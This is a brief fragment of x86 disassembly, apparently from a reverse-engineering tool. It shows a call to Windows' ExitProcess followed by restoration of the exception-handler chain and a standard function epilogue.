call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret